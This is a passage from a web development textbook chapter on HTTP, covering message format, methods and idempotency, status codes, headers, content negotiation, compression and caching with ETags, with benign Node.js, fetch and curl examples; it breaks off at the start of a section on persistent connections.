10. The HTTP Protocol and Web Communication

Every page load, API call, login and live notification on the Web travels over HTTP or a protocol that starts its life as an HTTP request. Chapter 1.1 introduced the request-response cycle and Chapter 5.4 showed how browser code sends requests with fetch; this chapter looks at the protocol itself and at what applications build on top of it. It covers the HTTP message model, methods, status codes, caching and protocol versions (10.1), how state is added to a stateless protocol with cookies and sessions (10.2), how users and clients prove who they are and what they may do (10.3), how to design resource-oriented APIs (10.4), and how to push data in real time with Server-Sent Events, WebSocket and WebRTC (10.5). Server-side implementation details follow in Chapters 11 and 12, and attacks such as XSS and CSRF are treated in depth in Chapter 17.

<a id="101-the-http-protocol"></a>

10.1 The HTTP Protocol

This subchapter dissects HTTP from the message format upwards: the request-response cycle, methods and their guarantees, status codes, headers, content negotiation, caching, connection management, the evolution from HTTP/1.1 to HTTP/3, the TLS layer that makes HTTPS, and the intermediaries that sit between clients and servers.

Request-Response Cycle and Statelessness

HTTP (HyperText Transfer Protocol) was designed in 1989-1991 to fetch hypertext documents, and its core model has survived every revision since: a client opens a connection, sends a request naming a resource, and a server sends back exactly one response. The client always speaks first; a server cannot send an HTTP response nobody asked for.

A useful analogy is a shop counter with no memory. Each customer walks up, asks for one item, receives it (or an explanation of why not), and leaves. If the same customer comes back, the clerk does not recognise them unless they show something, such as a loyalty card. That card is what cookies and tokens are to HTTP (10.2, 10.3).

  Client (browser, curl, mobile app)                     Server
  ----------------------------------                     ------
          |   1. DNS lookup: example.com -> 203.0.113.10    |
          |   2. TCP (or QUIC) connection, TLS handshake    |
          |------------------------------------------------>|
          |   3. Request:  GET /products/42 HTTP/1.1        |
          |------------------------------------------------>|
          |                                   4. Process:   |
          |                                   route, read   |
          |                                   DB, render    |
          |   5. Response: HTTP/1.1 200 OK + body           |
          |<------------------------------------------------|
          |   6. Connection kept open for the next request  |
          |      (or closed)                                |

What "stateless" means. Each request must carry everything the server needs to process it. The protocol itself keeps no record of earlier requests: request 2 on the same connection is not "the follow-up to request 1" as far as HTTP is concerned. This is a deliberate design choice:

Benefit of statelessness	Why it matters
Horizontal scaling	Any server behind a load balancer can answer any request
Simple failure recovery	A crashed server loses no conversation state; the client simply retries elsewhere
Cacheability	A response depends only on the request, so intermediaries can reuse it
Simpler servers	No per-client memory has to be allocated, tracked or expired at the protocol level

The cost is that anything resembling a "conversation" (a shopping cart, a login) must be rebuilt on top: either the client resends identifying data on every request (a cookie or a token), or the server stores state in a shared database keyed by an identifier the client sends.

Stateless protocol, stateful applications. Statelessness is a property of the protocol, not a ban on state. Servers keep plenty of state (databases, sessions); the rule is only that the meaning of a request must not depend on hidden protocol-level history.

# Two independent requests: the second one knows nothing about the first
curl -i https://api.example.com/cart          # 401 Unauthorized: who are you?
curl -i https://api.example.com/cart \
     -H "Authorization: Bearer eyJhbGciOi..."  # 200 OK: the request now identifies the caller itself

Key Takeaways

• HTTP is a client-initiated request-response protocol: one request, one response.
• Stateless means each request is self-contained; the protocol does not remember previous requests.
• Statelessness enables load balancing, caching and simple recovery; state is layered on with cookies, sessions and tokens.
• Servers can still be stateful internally; what must not exist is implicit state in the protocol conversation.

Practice

1. (Beginner) Use curl -v https://example.com and label each phase of the output: DNS/TCP connection, TLS, request, response headers, body.
2. (Intermediate) Explain why a load balancer can send consecutive requests from the same browser to different servers without breaking a plain HTTP application, and what breaks if the application keeps login state in a server's memory.
3. (Interview) "HTTP is stateless, yet I stay logged in to my bank for twenty minutes. How?" Hint: distinguish protocol state from application state, and follow the identifier that is sent with every request.

Request and Response Message Format

An HTTP/1.1 message is plain text that a human can read and type. HTTP/2 and HTTP/3 encode the same information in binary frames (see later in this subchapter), but the logical structure is identical, so learning the text format teaches you all versions.

Request structure. A request line, header fields, an empty line, and an optional body:

POST /api/orders?notify=true HTTP/1.1
Host: shop.example.com
User-Agent: curl/8.9.1
Accept: application/json
Content-Type: application/json
Content-Length: 46

{"productId": 42, "quantity": 2, "gift": true}

POST                     /api/orders?notify=true      HTTP/1.1
 ^ method                 ^ request target             ^ protocol version
                            (path + query string)

Host: shop.example.com    <- header field: name, colon, value (names are case-insensitive)
...                       <- more headers
                          <- empty line (CRLF CRLF) ends the header section
{"productId": 42, ...}    <- body: exactly Content-Length bytes (or chunked, see below)

Response structure. A status line, headers, an empty line and an optional body:

HTTP/1.1 201 Created
Date: Sat, 03 Oct 2026 09:15:02 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 58
Location: /api/orders/9817

{"id": 9817, "status": "pending", "total": {"EUR": 59.8}}

Part	Request	Response
Start line	METHOD target VERSION	VERSION status-code reason-phrase
Headers	Describe the request, client and body	Describe the response, server and body
Empty line	Mandatory separator	Mandatory separator
Body	Optional (usually present for POST, PUT, PATCH)	Optional (absent for 204, 304 and HEAD responses)

Line endings and the Host header. Lines end with CRLF (\r\n). In HTTP/1.1 the Host header is mandatory: one IP address often hosts many sites (virtual hosting), and Host tells the server which one you want. In HTTP/2 and HTTP/3 its role is taken by the :authority pseudo-header.

Knowing where the body ends. Because a connection carries several messages in sequence, the receiver must know exactly where one body stops. There are two mechanisms:

• Content-Length: 46: the body is exactly 46 bytes.
• Transfer-Encoding: chunked: the body is sent in pieces, each prefixed with its size in hexadecimal, ending with a zero-sized chunk. This lets a server stream a response whose total size it does not know in advance.

HTTP/1.1 200 OK
Content-Type: text/plain
Transfer-Encoding: chunked

7
Hello, 
6
world!
0

Typing a request by hand. Since HTTP/1.1 is text, you can speak it over a raw TCP connection:

# Open a TCP connection and type the request yourself (port 80, no TLS)
printf 'GET / HTTP/1.1\r\nHost: example.com\r\nConnection: close\r\n\r\n' | nc example.com 80

# The same with TLS (port 443), using openssl as the "pipe"
printf 'GET / HTTP/1.1\r\nHost: example.com\r\nConnection: close\r\n\r\n' \
  | openssl s_client -quiet -connect example.com:443 -servername example.com

Pseudo-headers in HTTP/2 and HTTP/3. The request line is split into special headers that start with a colon, and all header names are lowercase:

:method: POST
:scheme: https
:authority: shop.example.com
:path: /api/orders?notify=true
content-type: application/json

Key Takeaways

• Requests: request line (method, target, version), headers, empty line, optional body.
• Responses: status line (version, code, reason phrase), headers, empty line, optional body.
• Host is mandatory in HTTP/1.1; HTTP/2 and HTTP/3 use the :authority pseudo-header.
• Body boundaries are defined by Content-Length or Transfer-Encoding: chunked.
• HTTP/2 and HTTP/3 change the encoding, not the semantics: the same methods, headers and status codes apply.

Practice

1. (Beginner) Write out, by hand, a complete HTTP/1.1 request that sends the form data name=Ada&lang=en to /signup on forms.example.com, including Content-Type and the correct Content-Length.
2. (Intermediate) Use curl -v --http1.1 and curl -v --http2 against the same HTTPS site and compare how the request is shown. Which parts of the request line became pseudo-headers?
3. (Interview) "What would go wrong if a server sent a response body that was longer than its Content-Length header on a keep-alive connection?" Hint: think about how the client finds the beginning of the next response on the same connection.

HTTP Methods and Their Semantics

The method (sometimes called the verb) tells the server what the client wants to do with the target resource. The path names what, the method says how. This separation is what lets caches, proxies, browsers and API tools reason about requests without understanding the application.

Method	Purpose	Request body	Typical success response
GET	Retrieve a representation of the resource	Not used (no defined semantics)	200 OK with body
HEAD	Same as GET but without the response body	Not used	200 OK, headers only
POST	Submit data to be processed by the resource (create a child, run an action)	Yes	201 Created + Location, or 200/202/204
PUT	Create or replace the resource at this URI with the enclosed representation	Yes (full representation)	200 OK, 204 No Content or 201 Created
PATCH	Apply a partial modification	Yes (a patch document)	200 OK or 204 No Content
DELETE	Remove the resource	Usually not	204 No Content, 200 OK or 202 Accepted
OPTIONS	Ask which methods/features the resource supports (also used for CORS preflight, 5.4)	Usually not	204 or 200 with Allow
CONNECT	Open a tunnel through a proxy (used for HTTPS via proxies)	No	200 then raw bytes
TRACE	Echo the request back for diagnostics (usually disabled for security)	No	200 with the request as body

GET and HEAD. GET /products/42 asks for the current state of product 42. HEAD is useful to check whether a resource exists, how large it is, or whether it changed, without downloading it:

curl -I https://example.com/video.mp4     # -I sends HEAD
# HTTP/2 200
# content-type: video/mp4
# content-length: 734003200               <- 700 MB: decide whether to download before doing it
# last-modified: Wed, 12 Aug 2026 18:02:11 GMT

POST vs PUT. The difference is who chooses the URI and what repeating the request does:

POST /api/articles HTTP/1.1          <- "add this to the collection"; the server picks the new ID
Content-Type: application/json

{"title": "HTTP in depth"}

HTTP/1.1 201 Created
Location: /api/articles/381          <- the server tells you where it put it

PUT /api/articles/381 HTTP/1.1       <- "the resource at this exact URI must now look like this"
Content-Type: application/json

{"title": "HTTP in depth", "status": "published", "tags": ["http"]}

PUT vs PATCH. PUT sends the whole new representation; missing fields are removed or reset. PATCH sends only a description of the changes. Two standard patch formats exist for JSON:

PATCH /api/articles/381 HTTP/1.1
Content-Type: application/merge-patch+json

{"status": "archived", "tags": null}

JSON Merge Patch (RFC 7396): send the fields to change; null deletes a field.

JSON Patch (RFC 6902): a list of operations, e.g.
  [ { "op": "replace", "path": "/status", "value": "archived" },
    { "op": "remove",  "path": "/tags" } ]

HTML forms only know GET and POST. A <form method="put"> silently falls back to GET. Server frameworks therefore sometimes support a "method override" (a hidden _method field or an X-HTTP-Method-Override header); JavaScript clients using fetch can use any method directly.

// fetch can send any method (Chapter 5.4)
await fetch('/api/articles/381', {
  method: 'PATCH',
  headers: { 'Content-Type': 'application/merge-patch+json' },
  body: JSON.stringify({ status: 'archived' }),
});

Key Takeaways

• The method expresses intent; generic software (caches, proxies, browsers, crawlers) relies on it.
• GET reads, HEAD reads headers only, POST processes/creates, PUT replaces, PATCH partially modifies, DELETE removes.
• With POST the server chooses the new resource's URI (returned in Location); with PUT the client names it.
• PATCH bodies need a patch format such as JSON Merge Patch or JSON Patch.
• HTML forms support only GET and POST; fetch supports all methods.

Practice

1. (Beginner) For each action choose a method and URI: list all users, read user 7, create a user, change only user 7's email, delete user 7, replace user 7's whole profile.
2. (Intermediate) Write two fetch calls that change an article's title, one using PUT and one using JSON Merge Patch. Explain what happens to the article's tags field in each case if you omit it.
3. (Interview) "Why shouldn't a 'delete account' link be implemented as GET /account/delete?" Hint: think about link prefetchers, crawlers, browser history and what the method promises to intermediaries (see the next topic).

Safety, Idempotency and Side Effects

Methods carry promises about what they do. Browsers prefetch links, crawlers follow every URL, and network libraries retry failed requests automatically. They can only do this without harming you if they know which requests are harmless to send, or harmless to send twice.

Safe methods are read-only from the client's point of view: the client does not request any state change. GET, HEAD, OPTIONS and TRACE are safe. A server may still log the request or increment a view counter, but the client did not ask for that and cannot be held responsible for it.

Idempotent methods have the same intended effect on the server whether sent once or many times. All safe methods are idempotent, and so are PUT and DELETE:

PUT /users/7  {"email": "a@x.io"}     sent 3 times -> user 7's email is a@x.io     (same final state)
DELETE /users/7                       sent 3 times -> user 7 does not exist         (same final state;
                                                      first response 204, later ones may be 404)
POST /orders  {"item": 42}            sent 3 times -> THREE orders                  (not idempotent)
PATCH /counter {"op": "increment"}    sent 3 times -> counter +3                    (not idempotent)

Idempotency is about the server state, not the response: a repeated DELETE may return 404 the second time and still be idempotent.

Method	Safe	Idempotent	Cacheable by default
GET	Yes	Yes	Yes
HEAD	Yes	Yes	Yes
OPTIONS	Yes	Yes	No
TRACE	Yes	Yes	No
PUT	No	Yes	No
DELETE	No	Yes	No
POST	No	No	Only with explicit freshness info (rare)
PATCH	No	No (can be made idempotent)	No

Why this matters in practice.

• Automatic retries. If a connection drops after a request was sent but before the response arrived, the client cannot know whether the server processed it. Clients and proxies may silently retry idempotent requests; they must not retry POST.
• The browser's "Confirm Form Resubmission" dialog appears when you reload a page that was the result of a POST, because resending it could create a second order.
• Prefetching and crawling. Search engine bots and link prefetchers issue GET freely. A "delete" behind a GET link will eventually be triggered by a bot.

Post/Redirect/Get (PRG). To avoid duplicate form submissions on reload, a server answers a successful POST with a 303 See Other redirect to a GET page:

Browser                                Server
  | POST /orders (form data)              |
  |-------------------------------------->|  creates order 9817
  | 303 See Other                         |
  | Location: /orders/9817                |
  |<--------------------------------------|
  | GET /orders/9817                      |
  |-------------------------------------->|
  | 200 OK (confirmation page)            |
  |<--------------------------------------|
  Reloading now repeats the harmless GET, not the POST.

Making POST safe to retry: idempotency keys. Payment APIs let the client send a unique key per logical operation; the server stores the result for that key and returns the same result if the request is repeated.

// Client: generate one key per user action and reuse it on retries
const key = crypto.randomUUID();
async function placeOrder(order, attempt = 1) {
  try {
    return await fetch('/api/orders', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json', 'Idempotency-Key': key },
      body: JSON.stringify(order),
    });
  } catch (err) {                       // network failure: we do not know if the server got it
    if (attempt < 3) return placeOrder(order, attempt + 1); // same key -> no duplicate order
    throw err;
  }
}

// Server (sketch, Express-style; see Chapter 12): remember results per key
const results = new Map(); // in production: Redis or a database table with a TTL

app.post('/api/orders', async (req, res) => {
  const key = req.get('Idempotency-Key');
  if (key && results.has(key)) {
    const { status, body } = results.get(key);
    return res.status(status).json(body);          // replay the original outcome
  }
  const order = await createOrder(req.body);
  const outcome = { status: 201, body: order };
  if (key) results.set(key, outcome);
  res.status(201).location(`/api/orders/${order.id}`).json(order);
});

Key Takeaways

• Safe methods (GET, HEAD, OPTIONS, TRACE) request no state change; idempotent methods (safe ones plus PUT, DELETE) can be repeated with the same effect.
• POST and PATCH are neither safe nor idempotent by default.
• Idempotency concerns server state, not identical responses.
• Never put state-changing actions behind GET; use Post/Redirect/Get for form submissions.
• Idempotency keys make POST safe to retry for critical operations such as payments.

Practice

1. (Beginner) Classify as safe, idempotent-but-unsafe, or neither: GET /search?q=http, PUT /profile/avatar, POST /comments, DELETE /sessions/current, PATCH /cart with {"add": 1}.
2. (Intermediate) Implement the Post/Redirect/Get flow for a small contact form with Node's http module or Express, and verify that reloading the confirmation page does not resubmit the form.
3. (Interview) "A mobile client on a flaky network sometimes creates duplicate payments. How would you fix this end to end?" Hint: the client cannot know whether a timed-out request reached the server; design for retries with a key and server-side deduplication.

Status Codes and Their Classes

Every response starts with a three-digit status code. Clients, caches and crawlers act on it without reading the body: a 301 makes a search engine update its index, a 304 makes a browser use its cached copy, a 503 with Retry-After makes a client back off. The first digit defines the class.

Class	Meaning	Who should act
1xx Informational	Interim response; the final one follows	Protocol layer
2xx Success	The request was received, understood and accepted	Client uses the result
3xx Redirection	Further action is needed, usually following Location	Client follows or uses cache
4xx Client error	The request is wrong; repeating it unchanged will fail again	Client must change the request
5xx Server error	The request may be valid but the server failed	Client may retry later

The codes you will meet most often.

Code	Name	Typical use
100	Continue	Server agrees to receive a large body sent with Expect: 100-continue
101	Switching Protocols	Accepting a protocol upgrade (WebSocket, 10.5)
103	Early Hints	Lets the browser preload CSS/JS while the server is still building the page
200	OK	Generic success with a body
201	Created	A new resource was created; its URI is in Location
202	Accepted	Queued for asynchronous processing; not done yet
204	No Content	Success, nothing to return (common for DELETE and PUT)
206	Partial Content	Response to a Range request (video seeking, resumable downloads)
301	Moved Permanently	Permanent redirect; clients may change POST to GET
302	Found	Temporary redirect; same method-change caveat as 301
303	See Other	Redirect that is always followed with GET (Post/Redirect/Get)
304	Not Modified	Cached copy is still valid (conditional requests)
307	Temporary Redirect	Temporary, method and body preserved
308	Permanent Redirect	Permanent, method and body preserved
400	Bad Request	Malformed syntax, invalid JSON
401	Unauthorized	Missing or invalid authentication (must send WWW-Authenticate)
403	Forbidden	Authenticated (or not), but not allowed
404	Not Found	No such resource (also used to hide existence from unauthorised users)
405	Method Not Allowed	The resource exists but not for this method (must send Allow)
409	Conflict	Conflicts with current state (duplicate username, version conflict)
410	Gone	Deliberately and permanently removed
412	Precondition Failed	An If-Match/If-Unmodified-Since condition was false
415	Unsupported Media Type	The server cannot handle the request's Content-Type
422	Unprocessable Content	Syntax is fine but semantic validation failed
429	Too Many Requests	Rate limited (often with Retry-After)
500	Internal Server Error	Unhandled exception
502	Bad Gateway	A proxy got an invalid response from the upstream server
503	Service Unavailable	Overloaded or in maintenance (often with Retry-After)
504	Gateway Timeout	A proxy timed out waiting for the upstream server

Redirect choice. The historical behaviour of 301 and 302 (browsers turning a redirected POST into a GET) caused confusion, so 307 and 308 were added with strict "same method, same body" semantics:

	Method may change to GET	Method preserved
Temporary	302 (and 303, which always uses GET)	307
Permanent	301	308

401 vs 403. 401 Unauthorized really means unauthenticated: "I don't know who you are; authenticate and try again". 403 Forbidden means "I know (or don't care) who you are, and the answer is no". Re-authenticating will not fix a 403.

Clients must handle unknown codes by class. A client that receives an unrecognised 299 must treat it as 200, an unknown 499 as 400. This is how new codes (such as 103 or 425) can be introduced without breaking old software.

// Handling responses by class with fetch (fetch fulfils for all HTTP statuses, Chapter 5.4)
async function request(url, options) {
  const res = await fetch(url, options);
  if (res.status === 204) return null;                   // no body to parse
  if (res.ok) return res.json();                         // 200-299
  if (res.status === 401) throw new Error('Please log in again');
  if (res.status === 429 || res.status >= 500) {
    const retryAfter = Number(res.headers.get('Retry-After') ?? 1); // seconds (can also be a date)
    throw Object.assign(new Error('Temporary failure'), { retryAfter });
  }
  throw new Error(`Request failed with ${res.status}`);  // other 4xx: fix the request
}

Key Takeaways

• The first digit gives the class: 1xx informational, 2xx success, 3xx redirection, 4xx client error, 5xx server error.
• 4xx means "change the request"; 5xx means "the server failed, maybe retry later".
• Use 201 + Location for creation, 204 for empty success, 304 for cache validation, 422 for validation errors, 429 for rate limits.
• 401 means unauthenticated, 403 means forbidden.
• Prefer 307/308 when the method and body must be preserved across a redirect.

Practice

1. (Beginner) Pick the most appropriate status code: a JSON body fails to parse; an email is already registered; a user requests another user's private invoice; a report has been queued for generation; the database is down.
2. (Intermediate) Use curl -sI to find the redirect chain from http://github.com to its final URL (curl -sIL follows redirects). Which codes are used, and why is each one appropriate?
3. (Interview) "When would you return 404 instead of 403 for a resource the user is not allowed to see?" Hint: consider what a 403 reveals about the existence of the resource.

Standard Request and Response Headers

Headers are the metadata of HTTP: they describe the body, the client's preferences, caching rules, authentication, connection handling and security policy. Their names are case-insensitive (Content-Type and content-type are the same header) and HTTP/2/3 transmit them in lowercase.

Headers fall into a few families depending on what they describe.

Request headers (sent by the client):

Header	Example	Purpose
Host	shop.example.com	Target host (virtual hosting)
User-Agent	Mozilla/5.0 ...	Client software identification
Accept	application/json, text/html;q=0.9	Preferred response media types
Accept-Language	it-IT, en;q=0.8	Preferred languages
Accept-Encoding	gzip, br, zstd	Supported compression algorithms
Authorization	Bearer eyJ...	Credentials (10.3)
Cookie	sid=abc123	Cookies previously set by the server (10.2)
Referer	https://shop.example.com/cart	The page that linked to this request (spelled with one "r")
Origin	https://app.example.com	Origin of a cross-origin or POST request (CORS, CSRF checks)
If-None-Match	"v42"	Conditional request (caching)
Range	bytes=0-1023	Ask for part of a resource

Response headers (sent by the server):

Header	Example	Purpose
Server	nginx	Server software (often minimised for security)
Location	/api/orders/9817	Redirect target or URI of a created resource
Set-Cookie	sid=abc123; HttpOnly; Secure	Store a cookie in the client (10.2)
WWW-Authenticate	Bearer realm="api"	Authentication scheme required (sent with 401)
Retry-After	120	When to retry (with 429, 503)
Allow	GET, HEAD, POST	Supported methods (with 405, OPTIONS)
ETag	"v42"	Version identifier of the representation
Cache-Control	max-age=3600	Caching policy
Vary	Accept-Encoding	Which request headers affected this response

Representation headers describe the body itself and can appear in both directions:

Header	Example	Purpose
Content-Type	application/json; charset=utf-8	Media type of the body (Chapter 1.1)
Content-Length	348	Body size in bytes
Content-Encoding	br	Compression applied to the body
Content-Language	it	Natural language of the content
Last-Modified	Sat, 03 Oct 2026 08:00:00 GMT	When the resource last changed

Security headers tell the browser to enable protections. They are covered in Chapter 17, but you will see them in every production response:

Strict-Transport-Security: max-age=63072000; includeSubDomains; preload
Content-Security-Policy: default-src 'self'; img-src 'self' https://cdn.example.com
X-Content-Type-Options: nosniff
Referrer-Policy: strict-origin-when-cross-origin

Custom headers. Applications can define their own headers. The old X- prefix convention (X-Request-Id) is discouraged for new standards but still common in practice. A typical use is a correlation ID that follows a request through several services:

// Node.js http server: read a request header and set response headers (Chapter 11.6)
import { createServer } from 'node:http';
import { randomUUID } from 'node:crypto';

createServer((req, res) => {
  const requestId = req.headers['x-request-id'] ?? randomUUID(); // Node lowercases incoming names
  res.setHeader('X-Request-Id', requestId);                       // echo it for log correlation
  res.setHeader('Content-Type', 'application/json; charset=utf-8');
  res.end(JSON.stringify({ hello: req.headers['user-agent'] }));
}).listen(3000);

Inspecting headers. The Network panel in browser developer tools shows all request and response headers; on the command line use curl -I (response headers of a HEAD request) or curl -v (both directions).

Key Takeaways

• Header names are case-insensitive; HTTP/2 and HTTP/3 send them in lowercase.
• Request headers express client context and preferences; response headers describe the server's answer; representation headers describe the body.
• Content-Type, Location, Set-Cookie, Authorization, Cache-Control and ETag appear in almost every real application.
• Security headers such as HSTS and CSP turn on browser protections.
• Custom headers are allowed; use them for metadata like request IDs, not for data that belongs in the body.

Practice

1. (Beginner) Open the Network panel on a news site, select the main document request and list five request headers and five response headers with a one-line explanation each.
2. (Intermediate) Extend the Node.js server above so that it returns 405 Method Not Allowed with a correct Allow header for anything other than GET and HEAD.
3. (Interview) "What is the Vary header for, and what happens if a server forgets it when compressing responses?" Hint: think about a shared cache that stored a Brotli-compressed response and a client that only supports gzip.

Content Negotiation and Compression

The same resource can have several representations: JSON or XML, English or Italian, compressed with Brotli or gzip. Content negotiation is how the client says what it can handle and the server picks the best match, so one URI can serve many kinds of client.

Proactive (server-driven) negotiation. The client lists preferences in Accept-* headers, with optional quality values (q, from 0 to 1, default 1):

GET /reports/2026-q3 HTTP/1.1
Host: api.example.com
Accept: application/json, text/csv;q=0.5, */*;q=0.1
Accept-Language: it-IT, it;q=0.9, en;q=0.7
Accept-Encoding: br, gzip

Accept:            JSON preferred (q=1), CSV acceptable (0.5), anything else as last resort (0.1)
Accept-Language:   Italian (Italy), then any Italian, then English
Accept-Encoding:   Brotli or gzip compression understood

The server answers with the representation it chose and declares the choice:

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Language: it
Content-Encoding: br
Vary: Accept, Accept-Language, Accept-Encoding

If nothing acceptable exists, the server may return 406 Not Acceptable, though most servers simply send a default representation. Similarly, if the request body's Content-Type is not supported, the answer is 415 Unsupported Media Type.

Request header	Negotiates	Response header
Accept	Media type	Content-Type
Accept-Language	Human language	Content-Language
Accept-Encoding	Compression	Content-Encoding

Vary is mandatory for correct caching. A cache stores responses by URL. If the response depends on Accept-Language, the cache must also key on that header, otherwise an Italian user could be served the English page cached for someone else. Vary lists the request headers that influenced the response.

Reactive negotiation. Instead of guessing, the server can return 300 Multiple Choices or a page with links to alternatives (/report.json, /report.csv) and let the client choose. In practice language choice is often reactive: the server suggests a language based on Accept-Language, but the user can switch via an explicit URL such as /it/ or /en/, which is also better for search engines.

Compression. Text formats (HTML, CSS, JavaScript, JSON, SVG) compress very well, often by 70-90%. Compression is negotiated with Accept-Encoding / Content-Encoding:

Encoding	Notes
gzip	Universally supported, fast, good ratio
br (Brotli)	15-25% smaller than gzip for text; supported by all modern browsers over HTTPS
zstd (Zstandard)	Very fast compression and decompression with Brotli-like ratios; supported in current Chromium and Firefox
deflate	Legacy, inconsistent implementations; avoid
identity	No compression

// Node.js: compress a JSON response with Brotli if the client accepts it, else gzip
import { createServer } from 'node:http';
import { brotliCompressSync, gzipSync } from 'node:zlib';

createServer((req, res) => {
  const body = JSON.stringify({ items: Array.from({ length: 500 }, (_, i) => ({ id: i, name: `Item ${i}` })) });
  const accepted = req.headers['accept-encoding'] ?? '';
  res.setHeader('Content-Type', 'application/json; charset=utf-8');
  res.setHeader('Vary', 'Accept-Encoding');               // response varies by this request header

  if (/\bbr\b/.test(accepted)) {
    res.setHeader('Content-Encoding', 'br');
    return res.end(brotliCompressSync(body));            // sync is fine for a demo; stream in production
  }
  if (/\bgzip\b/.test(accepted)) {
    res.setHeader('Content-Encoding', 'gzip');
    return res.end(gzipSync(body));
  }
  res.end(body);                                          // identity
}).listen(3000);

In production, compression is usually done by a reverse proxy or CDN, and static assets are pre-compressed at build time (app.js.br, app.js.gz) so no CPU is spent per request.

What not to compress. JPEG, PNG, WebP, MP4, ZIP and WOFF2 files are already compressed; compressing them again wastes CPU and can make them slightly larger. Very small responses (under about 1 KB) gain little. Compressing responses that mix secrets with attacker-controlled input over HTTPS can leak those secrets through response sizes (the BREACH attack), so CSRF tokens and similar secrets should be masked or kept out of compressed, reflective pages.

Key Takeaways

• Content negotiation picks a representation using Accept, Accept-Language and Accept-Encoding, weighted with q values.
• The server reports its choice in Content-Type, Content-Language and Content-Encoding, and lists the deciding headers in Vary.
• 406 means no acceptable representation; 415 means the request body's format is unsupported.
• Brotli, gzip and Zstandard dramatically shrink text responses; do not recompress media or archives.
• Compression belongs in the reverse proxy, CDN or build step whenever possible.

Practice

1. (Beginner) Compare curl -s https://example.com | wc -c with curl -s -H 'Accept-Encoding: br' https://example.com | wc -c. Why is the second number smaller, and why is its output unreadable?
2. (Intermediate) Write a handler for GET /report that returns JSON or CSV depending on the Accept header (respecting q values), with a correct Vary header and 406 when neither is acceptable.
3. (Interview) "Should a REST API select the response language from Accept-Language or from a URL parameter?" Hint: weigh caching, shareable links, search engines and user override against automatic detection.

Caching, ETags and Conditional Requests

The fastest request is the one never sent. HTTP caching lets browsers, proxies and CDNs store responses and reuse them, cutting latency, bandwidth and server load. Getting it right is a balance between freshness (users see current data) and efficiency (nothing is downloaded twice).

Where caches live.

  Browser                 Shared caches                         Origin server
 +--------------+       +----------------+   +------------+    +-------------+
 | private      | <---> | corporate      |<->| CDN edge   |<-->| app server  |
 | cache (per   |       | proxy cache    |   | (shared)   |    | (source of  |
 | user)        |       | (shared)       |   |            |    |  truth)     |
 +--------------+       +----------------+   +------------+    +-------------+
  "private" responses      "public"/shared responses may be stored here
  may only be stored here

Freshness with Cache-Control. A response is fresh for a period during which a cache may reuse it without asking the server. After that it is stale and must be revalidated.

Directive	Meaning
max-age=N	Fresh for N seconds
s-maxage=N	Overrides max-age for shared caches (CDNs, proxies)
public	Any cache may store it, even if the request had Authorization
private	Only the browser's private cache may store it (user-specific data)
no-cache	May be stored, but must be revalidated before every reuse
no-store	Must not be stored anywhere (sensitive data)
must-revalidate	Once stale, must not be used without successful revalidation
immutable	Will never change during its freshness lifetime; do not revalidate even on reload
stale-while-revalidate=N	May serve stale for N seconds while refreshing in the background
stale-if-error=N	May serve stale for N seconds if the origin errors

The name no-cache is famously misleading: it does not mean "don't cache", it means "always check first". Use no-store to forbid storage.

Typical policies.

# Fingerprinted static asset (app.3f9a1c.js): the name changes when content changes
Cache-Control: public, max-age=31536000, immutable

# HTML page: always check, but allow the 304 shortcut
Cache-Control: no-cache

# Personal account data
Cache-Control: private, no-cache

# Bank statement, one-time tokens
Cache-Control: no-store

# Public API listing, OK to be up to a minute old, served instantly while refreshing
Cache-Control: public, max-age=60, stale-while-revalidate=300

Validation with ETags. When a cached response is stale, the cache does not have to download it again. It asks "has it changed since this version?" using a conditional request. An ETag (entity tag) is an opaque version identifier chosen by the server, often a hash of the content:

1st request                                      Later (after max-age expired)
-----------                                      -----------------------------
GET /api/products/42                             GET /api/products/42
                                                 If-None-Match: "a7f3c9"
200 OK                                           
ETag: "a7f3c9"                                   304 Not Modified          <- no body: tiny response
Cache-Control: max-age=60                        ETag: "a7f3c9"
{ ...4 KB of JSON... }                           Cache-Control: max-age=60
                                                 (cache reuses its stored body, now fresh again)

Last-Modified / If-Modified-Since work the same way with timestamps, but have only one-second resolution; ETags are more precise. Weak ETags (W/"a7f3c9") signal semantic equivalence rather than byte-for-byte identity, for example the same data with different whitespace or compression.

// Node.js: ETag-based revalidation
import { createServer } from 'node:http';
import { createHash } from 'node:crypto';

createServer((req, res) => {
  const body = JSON.stringify({ id: 42, name: 'Keyboard', price: 79 });
  const etag = `"${createHash('sha1').update(body).digest('base64url')}"`; // version = content hash

  res.setHeader('ETag', etag);
  res.setHeader('Cache-Control', 'no-cache');             // always revalidate

  if (req.headers['if-none-match'] === etag) {            // client already has this version
    res.statusCode = 304;
    return res.end();                                     // no body
  }
  res.setHeader('Content-Type', 'application/json');
  res.end(body);
}).listen(3000);

Conditional writes: optimistic concurrency. The same mechanism prevents lost updates when two users edit the same resource. The client sends the version it based its change on; the server rejects the write if the resource has changed meanwhile:

PUT /api/articles/381 HTTP/1.1
If-Match: "v7"
Content-Type: application/json

{"title": "Updated title", ...}

Server: current ETag is "v8" (someone else saved first)
  -> 412 Precondition Failed: client must reload, merge, and retry
Server: current ETag is "v7"
  -> 200 OK, ETag: "v8"

Cache busting. Long max-age values are only safe when the URL changes whenever the content changes. Bundlers (Vite, webpack) put a content hash in file names (app.3f9a1c.js), and the HTML, which is revalidated on every load, references the new name after each deployment.

Key Takeaways

• Caches exist in the browser (private) and in proxies/CDNs (shared); private and public control which may store a response.
• max-age defines freshness; no-cache means revalidate every time; no-store means never store.
• ETags with If-None-Match let caches revalidate cheaply with 304 Not Modified.
• If-Match with 412 Precondition Failed implements optimistic concurrency for updates.
• Fingerprinted asset names plus max-age=31536000, immutable give perfect caching for static files.

Practice

1. (Beginner) Write the Cache-Control header for: a company logo with a hashed file name, a user's inbox page, a password-reset page, and a public weather API that updates every five minutes.
2. (Intermediate) Run the ETag server above and use curl -i twice, the second time with -H 'If-None-Match: "<etag>"'. Then add If-Match support to a PUT handler that returns 412 for stale versions.
3. (Interview) "After a deployment some users still see the old version of the site for hours. What is likely wrong?" Hint: look at the Cache-Control of the HTML document versus the JavaScript bundles, and at whether asset names are fingerprinted.

Persistent Connections and Pipelining

Opening a connection is expensive: a TCP handshake costs one round trip, and TLS adds one or two more before the first byte of HTTP is sent. On a mobile network with 100 ms round trips, that is 200-300 ms of pure setup. Reusing connections is one of the oldest and most effective HTTP optimisations.

HTTP/1.0: one request per connection. Every image, stylesheet and script required a new TCP connection:

HTTP/1.0 (no keep-alive)              HTTP/1.1 persistent connection
